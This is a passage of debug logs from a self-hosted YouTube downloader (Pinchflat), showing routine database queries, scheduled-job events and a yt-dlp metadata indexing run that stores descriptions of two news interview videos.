s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:05:37.409 [debug] QUERY OK source="media_items" db=1.3ms idle=539.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:05:37.411 [debug] QUERY OK source="source_metadata" db=0.6ms idle=541.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:05:37.412 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.6ms idle=542.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:05:37.412 [info] Sent 200 in 7ms 19:05:59.549 [info] {"source":"oban","duration":1807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.729 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:29.611 [info] {"source":"oban","duration":60478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:59.614 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.731 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:29.617 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:59.646 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.733 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:29.649 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:59.652 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.734 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:10.181 [info] {"args":{"id":1},"id":92,"meta":{},"system_time":1768072150180865192,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:09:10.184 [debug] QUERY OK source="sources" db=1.0ms queue=0.2ms idle=1082.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:09:10.246 [debug] QUERY OK source="settings" db=61.6ms queue=0.2ms idle=271.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:10.249 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=334.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 19:09:10.251 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=74.0ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 19:09:10.252 [debug] QUERY OK source="media_profiles" db=0.4ms idle=71.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:09:10.254 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=69.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:10.273 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:09:10.274 [debug] Current batch of media processed. Will check again in 1000ms 19:09:10.275 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=27.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:10.275 [debug] QUERY OK source="settings" db=0.4ms idle=25.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:10.379 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=126.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:09:10.404 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/29/19/2919f5911146d7fbfc78d8688c443069801d0872b59b68b61f957661165efd4d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:09:11.275 [debug] Current batch of media processed. Will check again in 1000ms 19:09:12.276 [debug] Current batch of media processed. Will check again in 1000ms 19:09:13.278 [debug] Current batch of media processed. Will check again in 1000ms 19:09:14.279 [debug] Current batch of media processed. Will check again in 1000ms 19:09:15.281 [debug] Current batch of media processed. Will check again in 1000ms 19:09:16.283 [debug] Current batch of media processed. Will check again in 1000ms 19:09:17.284 [debug] Current batch of media processed. Will check again in 1000ms 19:09:18.285 [debug] Current batch of media processed. Will check again in 1000ms 19:09:19.286 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 19:09:19.290 [debug] QUERY OK source="sources" db=1.6ms queue=0.8ms idle=1374.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:09:19.292 [debug] QUERY OK source="sources" db=0.2ms idle=1378.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:09:19.293 [debug] QUERY OK source="media_items" db=0.5ms queue=0.4ms idle=1379.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 19:09:19.343 [debug] QUERY OK source="media_items" db=47.6ms queue=0.1ms idle=1009.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "9e893840-de49-46df-9832-0ca1c4430ed2", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 19:09:19Z], ~U[2026-01-10 19:09:19Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 19:09:19.346 [debug] QUERY OK source="sources" db=1.1ms queue=1.0ms idle=54.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:09:19.348 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=56.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:09:19.350 [debug] QUERY OK source="media_items" db=1.6ms idle=56.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 19:09:19.351 [debug] Current batch of media processed. Will check again in 1000ms 19:09:20.352 [debug] Current batch of media processed. Will check again in 1000ms 19:09:21.356 [debug] Current batch of media processed. Will check again in 1000ms 19:09:22.358 [debug] Current batch of media processed. Will check again in 1000ms 19:09:22.696 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/29/19/2919f5911146d7fbfc78d8688c443069801d0872b59b68b61f957661165efd4d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:09:22.696 [debug] Gracefully stopping file follower 19:09:22.698 [debug] QUERY OK source="sources" db=0.9ms idle=1783.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:09:22.699 [debug] QUERY OK source="sources" db=0.7ms idle=1785.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:09:22.701 [debug] QUERY OK source="media_items" db=1.2ms queue=0.5ms idle=1786.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 19:09:23.018 [debug] QUERY OK source="media_items" db=315.2ms idle=1405.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "fbd32867-0932-4703-a22d-c84cb9e8997b", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 19:09:22Z], ~U[2026-01-10 19:09:22Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 19:09:23.020 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=718.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:09:23.021 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=322.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 19:09:23.051 [debug] QUERY OK source="media_items" db=8.8ms queue=0.1ms idle=323.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "81adf18c-7d52-4a10-a97d-399e76fdda33", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 19:09:23Z], ~U[2026-01-10 19:09:23Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the 